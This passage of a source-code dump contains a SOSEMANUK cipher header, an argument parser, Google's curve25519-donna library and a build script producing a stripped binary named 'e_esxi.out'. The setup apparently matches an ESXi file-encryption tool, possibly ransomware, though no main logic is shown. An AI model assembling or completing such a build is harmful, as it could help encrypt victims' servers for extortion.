* 32 bits. Such a type implements arithmetics modulo 2^n for a value
|
||||
* n greater than or equal to 32. The type is named "unum32".
|
||||
*
|
||||
* Note: we try to use C99 features such as <stdint.h>. This may prove
|
||||
* problematic on architectures which claim C99 conformance, but fail
|
||||
* to actually conform. If necessary, define the macro BROKEN_C99 to
|
||||
* fall back to C90, whatever the environment claims:
|
||||
#define BROKEN_C99 1
|
||||
*/
|
||||
|
||||
#if !defined BROKEN_C99 && defined __STDC__ && __STDC_VERSION__ >= 199901L
|
||||
|
||||
/*
|
||||
* C99 implementation. We use "uint_least32_t" which has the required
|
||||
* semantics.
|
||||
*/
|
||||
#include <stdint.h>
|
||||
typedef uint_least32_t unum32;
|
||||
|
||||
#else
|
||||
|
||||
/*
|
||||
* Pre-C99 implementation. "unsigned long" is guaranteed to be wide
|
||||
* enough, but we want to use "unsigned int" if possible (especially
|
||||
* for 64-bit architectures).
|
||||
*/
|
||||
#if UINT_MAX >= 0xFFFFFFFF
|
||||
typedef unsigned int unum32;
|
||||
#else
|
||||
typedef unsigned long unum32;
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
/*
|
||||
* We want (and sometimes need) to perform explicit truncations to 32 bits.
|
||||
*/
|
||||
#define ONE32 ((unum32)0xFFFFFFFF)
|
||||
#define T32(x) ((x) & ONE32)
|
||||
|
||||
/*
|
||||
* Some of our functions will be tagged as "inline" to help the compiler
|
||||
* optimize things. We use "inline" only if the compiler is advanced
|
||||
* enough to understand it; C99 compilers, and pre-C99 versions of gcc,
|
||||
* understand enough "inline" for our purposes.
|
||||
*/
|
||||
#if (!defined BROKEN_C99 && defined __STDC__ && __STDC_VERSION__ >= 199901L) \
|
||||
|| defined __GNUC__
|
||||
#define INLINE inline
|
||||
#else
|
||||
#define INLINE
|
||||
#endif
|
||||
|
||||
/*
|
||||
* API description:
|
||||
*
|
||||
* The SOSEMANUK algorithm works with a secret key and an initial value (IV).
|
||||
* Two context structures are used:
|
||||
*
|
||||
* -- "sosemanuk_key_context" holds the processed secret key. The contents
|
||||
* of this structure depends only on the key, not the IV.
|
||||
*
|
||||
* -- "sosemanuk_run_context" holds the current cipher internal state. This
|
||||
* structure is initialized using the "sosemanuk_key_context" structure, and
|
||||
* the IV; it is updated each time some output is produced.
|
||||
*
|
||||
* Both structures may be allocated as local variables. There is no
|
||||
* other external allocation (using malloc() or any similar function).
|
||||
* There is no global state; hence, this code is thread-safe and
|
||||
* reentrant.
|
||||
*/
|
||||
|
||||
typedef struct {
|
||||
/*
|
||||
* Sub-keys for Serpent24.
|
||||
*/
|
||||
unum32 sk[100];
|
||||
} sosemanuk_key_context;
|
||||
|
||||
typedef struct {
|
||||
/*
|
||||
* Internal cipher state.
|
||||
*/
|
||||
unum32 s00, s01, s02, s03, s04, s05, s06, s07, s08, s09;
|
||||
unum32 r1, r2;
|
||||
|
||||
/*
|
||||
* Buffering: the stream cipher produces output data by
|
||||
* blocks of 640 bits. buf[] contains such a block, and
|
||||
* "ptr" is the index of the next output byte.
|
||||
*/
|
||||
unsigned char buf[80];
|
||||
unsigned ptr;
|
||||
} sosemanuk_run_context;
|
||||
|
||||
/*
|
||||
* Key schedule: initialize the key context structure with the provided
|
||||
* secret key. The secret key is an array of 1 to 32 bytes.
|
||||
*/
|
||||
void sosemanuk_schedule(sosemanuk_key_context *kc,
|
||||
unsigned char *key, size_t key_len);
|
||||
|
||||
/*
|
||||
* Cipher initialization: the cipher internal state is initialized, using
|
||||
* the provided key context and IV. The IV length is up to 16 bytes. If
|
||||
* "iv_len" is 0 (no IV), then the "iv" parameter can be NULL.
|
||||
*/
|
||||
void sosemanuk_init(sosemanuk_run_context *rc,
|
||||
sosemanuk_key_context *kc, unsigned char *iv, size_t iv_len);
|
||||
|
||||
/*
|
||||
* Cipher operation, as a PRNG: the provided output buffer is filled with
|
||||
* pseudo-random bytes as output from the stream cipher.
|
||||
*/
|
||||
void sosemanuk_prng(sosemanuk_run_context *rc,
|
||||
unsigned char *out, size_t out_len);
|
||||
|
||||
/*
|
||||
* Cipher operation, as a stream cipher: data is read from the "in"
|
||||
* buffer, combined by XOR with the stream, and the result is written
|
||||
* in the "out" buffer. "in" and "out" must be either equal, or
|
||||
* reference distinct buffers (no partial overlap is allowed).
|
||||
*/
|
||||
void sosemanuk_encrypt(sosemanuk_run_context *rc,
|
||||
unsigned char *in, unsigned char *out, size_t data_len);
|
||||
|
||||
#endif
|
||||
|
||||
#endif
|
|
@ -0,0 +1,38 @@
|
|||
#include "args.h"
|
||||
|
||||
bool argz_option(int argc, char* argv[], char* option) {
|
||||
char* arg;
|
||||
for (int i = 1; i < argc; i++) { /* Iterate over all arguments */
|
||||
arg = argv[i];
|
||||
if (*arg == '-') {
|
||||
while (*arg == '-') {
|
||||
arg++;
|
||||
}
|
||||
while (*option) {
|
||||
if (*option != *arg) {
|
||||
return false;
|
||||
}
|
||||
option++;
|
||||
arg++;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
char* argz_arg(int argc, char* argv[], int index) {
|
||||
char* arg;
|
||||
int opts = 0;
|
||||
for (int i = 1; i < argc; i++) {
|
||||
arg = argv[i];
|
||||
if (*arg != '-') {
|
||||
if (i - opts - 1 == index) {
|
||||
return arg;
|
||||
}
|
||||
} else {
|
||||
opts++;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
#ifndef ARGS_H
|
||||
#define ARGS_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
|
||||
bool argz_option(int argc, char* argv[], char* option);
|
||||
char* argz_arg(int argc, char* argv[], int index);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,2 @@
|
|||
gcc --no-pie main.cpp curve25519-donna.cpp sosemanuk.cpp sha256.cpp args.cpp thpool.c -o e_esxi.out -pthread -lstdc++
|
||||
strip e_esxi.out
|
|
@ -0,0 +1,856 @@
|
|||
/* Copyright 2008, Google Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are
|
||||
* met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above
|
||||
* copyright notice, this list of conditions and the following disclaimer
|
||||
* in the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
* * Neither the name of Google Inc. nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
* curve25519-donna: Curve25519 elliptic curve, public key function
|
||||
*
|
||||
* http://code.google.com/p/curve25519-donna/
|
||||
*
|
||||
* Adam Langley <agl@imperialviolet.org>
|
||||
*
|
||||
* Derived from public domain C code by Daniel J. Bernstein <djb@cr.yp.to>
|
||||
*
|
||||
* More information about curve25519 can be found here
|
||||
* http://cr.yp.to/ecdh.html
|
||||
*
|
||||
* djb's sample implementation of curve25519 is written in a special assembly
|
||||
* language called qhasm and uses the floating point registers.
|
||||
*
|
||||
* This is, almost, a clean room reimplementation from the curve25519 paper. It
|
||||
* uses many of the tricks described therein. Only the crecip function is taken
|
||||
* from the sample implementation. */
|
||||
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include "curve25519-donna.h"
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#define inline __inline
|
||||
#endif
|
||||
|
||||
/* Field element representation:
|
||||
*
|
||||
* Field elements are written as an array of signed, 64-bit limbs, least
|
||||
* significant first. The value of the field element is:
|
||||
* x[0] + 2^26·x[1] + x^51·x[2] + 2^102·x[3] + ...
|
||||
*
|
||||
* i.e. the limbs are 26, 25, 26, 25, ... bits wide. */
|
||||
|
||||
/* Sum two numbers: output += in */
|
||||
static void fsum(limb *output, const limb *in) {
|
||||
unsigned i;
|
||||
for (i = 0; i < 10; i += 2) {
|
||||
output[0+i] = output[0+i] + in[0+i];
|
||||
output[1+i] = output[1+i] + in[1+i];
|
||||
}
|
||||
}
|
||||
|
||||
/* Find the difference of two numbers: output = in - output
|
||||
* (note the order of the arguments!). */
|
||||
static void fdifference(limb *output, const limb *in) {
|
||||
unsigned i;
|
||||
for (i = 0; i < 10; ++i) {
|
||||
output[i] = in[i] - output[i];
|
||||
}
|
||||
}
|
||||
|
||||
/* Multiply a number by a scalar: output = in * scalar */
|
||||
static void fscalar_product(limb *output, const limb *in, const limb scalar) {
|
||||
unsigned i;
|
||||
for (i = 0; i < 10; ++i) {
|
||||
output[i] = in[i] * scalar;
|
||||
}
|
||||
}
|
||||
|
||||
/* Multiply two numbers: output = in2 * in
|
||||
*
|
||||
* output must be distinct to both inputs. The inputs are reduced coefficient
|
||||
* form, the output is not.
|
||||
*
|
||||
* output[x] <= 14 * the largest product of the input limbs. */
|
||||
static void fproduct(limb *output, const limb *in2, const limb *in) {
|
||||
output[0] = ((limb) ((s32) in2[0])) * ((s32) in[0]);
|
||||
output[1] = ((limb) ((s32) in2[0])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[0]);
|
||||
output[2] = 2 * ((limb) ((s32) in2[1])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[0]);
|
||||
output[3] = ((limb) ((s32) in2[1])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[0]);
|
||||
output[4] = ((limb) ((s32) in2[2])) * ((s32) in[2]) +
|
||||
2 * (((limb) ((s32) in2[1])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[0]);
|
||||
output[5] = ((limb) ((s32) in2[2])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[0]);
|
||||
output[6] = 2 * (((limb) ((s32) in2[3])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[0]);
|
||||
output[7] = ((limb) ((s32) in2[3])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[0]);
|
||||
output[8] = ((limb) ((s32) in2[4])) * ((s32) in[4]) +
|
||||
2 * (((limb) ((s32) in2[3])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[0]);
|
||||
output[9] = ((limb) ((s32) in2[4])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in2[0])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[0]);
|
||||
output[10] = 2 * (((limb) ((s32) in2[5])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[1])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[1])) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[2]);
|
||||
output[11] = ((limb) ((s32) in2[5])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in2[2])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[2]);
|
||||
output[12] = ((limb) ((s32) in2[6])) * ((s32) in[6]) +
|
||||
2 * (((limb) ((s32) in2[5])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[3])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[3])) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[4]);
|
||||
output[13] = ((limb) ((s32) in2[6])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[7])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in2[4])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[4]);
|
||||
output[14] = 2 * (((limb) ((s32) in2[7])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[5])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[5])) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[6]);
|
||||
output[15] = ((limb) ((s32) in2[7])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in2[8])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in2[6])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[6]);
|
||||
output[16] = ((limb) ((s32) in2[8])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in2[7])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[7]));
|
||||
output[17] = ((limb) ((s32) in2[8])) * ((s32) in[9]) +
|
||||
((limb) ((s32) in2[9])) * ((s32) in[8]);
|
||||
output[18] = 2 * ((limb) ((s32) in2[9])) * ((s32) in[9]);
|
||||
}
|
||||
|
||||
/* Reduce a long form to a short form by taking the input mod 2^255 - 19.
|
||||
*
|
||||
* On entry: |output[i]| < 14*2^54
|
||||
* On exit: |output[0..8]| < 280*2^54 */
|
||||
static void freduce_degree(limb *output) {
|
||||
/* Each of these shifts and adds ends up multiplying the value by 19.
|
||||
*
|
||||
* For output[0..8], the absolute entry value is < 14*2^54 and we add, at
|
||||
* most, 19*14*2^54 thus, on exit, |output[0..8]| < 280*2^54. */
|
||||
output[8] += output[18] << 4;
|
||||
output[8] += output[18] << 1;
|
||||
output[8] += output[18];
|
||||
output[7] += output[17] << 4;
|
||||
output[7] += output[17] << 1;
|
||||
output[7] += output[17];
|
||||
output[6] += output[16] << 4;
|
||||
output[6] += output[16] << 1;
|
||||
output[6] += output[16];
|
||||
output[5] += output[15] << 4;
|
||||
output[5] += output[15] << 1;
|
||||
output[5] += output[15];
|
||||
output[4] += output[14] << 4;
|
||||
output[4] += output[14] << 1;
|
||||
output[4] += output[14];
|
||||
output[3] += output[13] << 4;
|
||||
output[3] += output[13] << 1;
|
||||
output[3] += output[13];
|
||||
output[2] += output[12] << 4;
|
||||
output[2] += output[12] << 1;
|
||||
output[2] += output[12];
|
||||
output[1] += output[11] << 4;
|
||||
output[1] += output[11] << 1;
|
||||
output[1] += output[11];
|
||||
output[0] += output[10] << 4;
|
||||
output[0] += output[10] << 1;
|
||||
output[0] += output[10];
|
||||
}
|
||||
|
||||
#if (-1 & 3) != 3
|
||||
#error "This code only works on a two's complement system"
|
||||
#endif
|
||||
|
||||
/* return v / 2^26, using only shifts and adds.
|
||||
*
|
||||
* On entry: v can take any value. */
|
||||
static inline limb
|
||||
div_by_2_26(const limb v)
|
||||
{
|
||||
/* High word of v; no shift needed. */
|
||||
const uint32_t highword = (uint32_t) (((uint64_t) v) >> 32);
|
||||
/* Set to all 1s if v was negative; else set to 0s. */
|
||||
const int32_t sign = ((int32_t) highword) >> 31;
|
||||
/* Set to 0x3ffffff if v was negative; else set to 0. */
|
||||
const int32_t roundoff = ((uint32_t) sign) >> 6;
|
||||
/* Should return v / (1<<26) */
|
||||
return (v + roundoff) >> 26;
|
||||
}
|
||||
|
||||
/* return v / (2^25), using only shifts and adds.
|
||||
*
|
||||
* On entry: v can take any value. */
|
||||
static inline limb
|
||||
div_by_2_25(const limb v)
|
||||
{
|
||||
/* High word of v; no shift needed*/
|
||||
const uint32_t highword = (uint32_t) (((uint64_t) v) >> 32);
|
||||
/* Set to all 1s if v was negative; else set to 0s. */
|
||||
const int32_t sign = ((int32_t) highword) >> 31;
|
||||
/* Set to 0x1ffffff if v was negative; else set to 0. */
|
||||
const int32_t roundoff = ((uint32_t) sign) >> 7;
|
||||
/* Should return v / (1<<25) */
|
||||
return (v + roundoff) >> 25;
|
||||
}
|
||||
|
||||
/* Reduce all coefficients of the short form input so that |x| < 2^26.
|
||||
*
|
||||
* On entry: |output[i]| < 280*2^54 */
|
||||
static void freduce_coefficients(limb *output) {
|
||||
unsigned i;
|
||||
|
||||
output[10] = 0;
|
||||
|
||||
for (i = 0; i < 10; i += 2) {
|
||||
limb over = div_by_2_26(output[i]);
|
||||
/* The entry condition (that |output[i]| < 280*2^54) means that over is, at
|
||||
* most, 280*2^28 in the first iteration of this loop. This is added to the
|
||||
* next limb and we can approximate the resulting bound of that limb by
|
||||
* 281*2^54. */
|
||||
output[i] -= over << 26;
|
||||
output[i+1] += over;
|
||||
|
||||
/* For the first iteration, |output[i+1]| < 281*2^54, thus |over| <
|
||||
* 281*2^29. When this is added to the next limb, the resulting bound can
|
||||
* be approximated as 281*2^54.
|
||||
*
|
||||
* For subsequent iterations of the loop, 281*2^54 remains a conservative
|
||||
* bound and no overflow occurs. */
|
||||
over = div_by_2_25(output[i+1]);
|
||||
output[i+1] -= over << 25;
|
||||
output[i+2] += over;
|
||||
}
|
||||
/* Now |output[10]| < 281*2^29 and all other coefficients are reduced. */
|
||||
output[0] += output[10] << 4;
|
||||
output[0] += output[10] << 1;
|
||||
output[0] += output[10];
|
||||
|
||||
output[10] = 0;
|
||||
|
||||
/* Now output[1..9] are reduced, and |output[0]| < 2^26 + 19*281*2^29
|
||||
* So |over| will be no more than 2^16. */
|
||||
{
|
||||
limb over = div_by_2_26(output[0]);
|
||||
output[0] -= over << 26;
|
||||
output[1] += over;
|
||||
}
|
||||
|
||||
/* Now output[0,2..9] are reduced, and |output[1]| < 2^25 + 2^16 < 2^26. The
|
||||
* bound on |output[1]| is sufficient to meet our needs. */
|
||||
}
|
||||
|
||||
/* A helpful wrapper around fproduct: output = in * in2.
|
||||
*
|
||||
* On entry: |in[i]| < 2^27 and |in2[i]| < 2^27.
|
||||
*
|
||||
* output must be distinct to both inputs. The output is reduced degree
|
||||
* (indeed, one need only provide storage for 10 limbs) and |output[i]| < 2^26. */
|
||||
static void
|
||||
fmul(limb *output, const limb *in, const limb *in2) {
|
||||
limb t[19];
|
||||
fproduct(t, in, in2);
|
||||
/* |t[i]| < 14*2^54 */
|
||||
freduce_degree(t);
|
||||
freduce_coefficients(t);
|
||||
/* |t[i]| < 2^26 */
|
||||
memcpy(output, t, sizeof(limb) * 10);
|
||||
}
|
||||
|
||||
/* Square a number: output = in**2
|
||||
*
|
||||
* output must be distinct from the input. The inputs are reduced coefficient
|
||||
* form, the output is not.
|
||||
*
|
||||
* output[x] <= 14 * the largest product of the input limbs. */
|
||||
static void fsquare_inner(limb *output, const limb *in) {
|
||||
output[0] = ((limb) ((s32) in[0])) * ((s32) in[0]);
|
||||
output[1] = 2 * ((limb) ((s32) in[0])) * ((s32) in[1]);
|
||||
output[2] = 2 * (((limb) ((s32) in[1])) * ((s32) in[1]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[2]));
|
||||
output[3] = 2 * (((limb) ((s32) in[1])) * ((s32) in[2]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[3]));
|
||||
output[4] = ((limb) ((s32) in[2])) * ((s32) in[2]) +
|
||||
4 * ((limb) ((s32) in[1])) * ((s32) in[3]) +
|
||||
2 * ((limb) ((s32) in[0])) * ((s32) in[4]);
|
||||
output[5] = 2 * (((limb) ((s32) in[2])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[5]));
|
||||
output[6] = 2 * (((limb) ((s32) in[3])) * ((s32) in[3]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[6]) +
|
||||
2 * ((limb) ((s32) in[1])) * ((s32) in[5]));
|
||||
output[7] = 2 * (((limb) ((s32) in[3])) * ((s32) in[4]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[7]));
|
||||
output[8] = ((limb) ((s32) in[4])) * ((s32) in[4]) +
|
||||
2 * (((limb) ((s32) in[2])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in[1])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[5])));
|
||||
output[9] = 2 * (((limb) ((s32) in[4])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[0])) * ((s32) in[9]));
|
||||
output[10] = 2 * (((limb) ((s32) in[5])) * ((s32) in[5]) +
|
||||
((limb) ((s32) in[4])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in[3])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[1])) * ((s32) in[9])));
|
||||
output[11] = 2 * (((limb) ((s32) in[5])) * ((s32) in[6]) +
|
||||
((limb) ((s32) in[4])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[2])) * ((s32) in[9]));
|
||||
output[12] = ((limb) ((s32) in[6])) * ((s32) in[6]) +
|
||||
2 * (((limb) ((s32) in[4])) * ((s32) in[8]) +
|
||||
2 * (((limb) ((s32) in[5])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[3])) * ((s32) in[9])));
|
||||
output[13] = 2 * (((limb) ((s32) in[6])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[5])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[4])) * ((s32) in[9]));
|
||||
output[14] = 2 * (((limb) ((s32) in[7])) * ((s32) in[7]) +
|
||||
((limb) ((s32) in[6])) * ((s32) in[8]) +
|
||||
2 * ((limb) ((s32) in[5])) * ((s32) in[9]));
|
||||
output[15] = 2 * (((limb) ((s32) in[7])) * ((s32) in[8]) +
|
||||
((limb) ((s32) in[6])) * ((s32) in[9]));
|
||||
output[16] = ((limb) ((s32) in[8])) * ((s32) in[8]) +
|
||||
4 * ((limb) ((s32) in[7])) * ((s32) in[9]);
|
||||
output[17] = 2 * ((limb) ((s32) in[8])) * ((s32) in[9]);
|
||||
output[18] = 2 * ((limb) ((s32) in[9])) * ((s32) in[9]);
|
||||
}
|
||||
|
||||
/* fsquare sets output = in^2.
|
||||
*
|
||||
* On entry: The |in| argument is in reduced coefficients form and |in[i]| <
|
||||
* 2^27.
|
||||
*
|
||||
* On exit: The |output| argument is in reduced coefficients form (indeed, one
|
||||
* need only provide storage for 10 limbs) and |out[i]| < 2^26. */
|
||||
static void
|
||||
fsquare(limb *output, const limb *in) {
|
||||
limb t[19];
|
||||
fsquare_inner(t, in);
|
||||
/* |t[i]| < 14*2^54 because the largest product of two limbs will be <
|
||||
* 2^(27+27) and fsquare_inner adds together, at most, 14 of those
|
||||
* products. */
|
||||
freduce_degree(t);
|
||||
freduce_coefficients(t);
|
||||
/* |t[i]| < 2^26 */
|
||||
memcpy(output, t, sizeof(limb) * 10);
|
||||
}
|
||||
|
||||
/* Take a little-endian, 32-byte number and expand it into polynomial form */
|
||||
static void
|
||||
fexpand(limb *output, const u8 *input) {
|
||||
#define F(n,start,shift,mask) \
|
||||
output[n] = ((((limb) input[start + 0]) | \
|
||||
((limb) input[start + 1]) << 8 | \
|
||||
((limb) input[start + 2]) << 16 | \
|
||||
((limb) input[start + 3]) << 24) >> shift) & mask;
|
||||
F(0, 0, 0, 0x3ffffff);
|
||||
F(1, 3, 2, 0x1ffffff);
|
||||
F(2, 6, 3, 0x3ffffff);
|
||||
F(3, 9, 5, 0x1ffffff);
|
||||
F(4, 12, 6, 0x3ffffff);
|
||||
F(5, 16, 0, 0x1ffffff);
|
||||
F(6, 19, 1, 0x3ffffff);
|
||||
F(7, 22, 3, 0x1ffffff);
|
||||
F(8, 25, 4, 0x3ffffff);
|
||||
F(9, 28, 6, 0x1ffffff);
|
||||
#undef F
|
||||
}
|
||||
|
||||
#if (-32 >> 1) != -16
|
||||
#error "This code only works when >> does sign-extension on negative numbers"
|
||||
#endif
|
||||
|
||||
/* s32_eq returns 0xffffffff iff a == b and zero otherwise. */
|
||||
static s32 s32_eq(s32 a, s32 b) {
|
||||
a = ~(a ^ b);
|
||||
a &= a << 16;
|
||||
a &= a << 8;
|
||||
a &= a << 4;
|
||||
a &= a << 2;
|
||||
a &= a << 1;
|
||||
return a >> 31;
|
||||
}
|
||||
|
||||
/* s32_gte returns 0xffffffff if a >= b and zero otherwise, where a and b are
|
||||
* both non-negative. */
|
||||
static s32 s32_gte(s32 a, s32 b) {
|
||||
a -= b;
|
||||
/* a >= 0 iff a >= b. */
|
||||
return ~(a >> 31);
|
||||
}
|
||||
|
||||
/* Take a fully reduced polynomial form number and contract it into a
|
||||
* little-endian, 32-byte array.
|
||||
*
|
||||
* On entry: |input_limbs[i]| < 2^26 */
|
||||
static void
|
||||
fcontract(u8 *output, limb *input_limbs) {
|
||||
int i;
|
||||
int j;
|
||||
s32 input[10];
|
||||
s32 mask;
|
||||
|
||||
/* |input_limbs[i]| < 2^26, so it's valid to convert to an s32. */
|
||||
for (i = 0; i < 10; i++) {
|
||||
input[i] = input_limbs[i];
|
||||
}
|
||||
|
||||
for (j = 0; j < 2; ++j) {
|
||||
for (i = 0; i < 9; ++i) {
|
||||
if ((i & 1) == 1) {
|
||||
/* This calculation is a time-invariant way to make input[i]
|
||||
* non-negative by borrowing from the next-larger limb. */
|
||||
const s32 mask = input[i] >> 31;
|
||||
const s32 carry = -((input[i] & mask) >> 25);
|
||||
input[i] = input[i] + (carry << 25);
|
||||
input[i+1] = input[i+1] - carry;
|
||||
} else {
|
||||
const s32 mask = input[i] >> 31;
|
||||
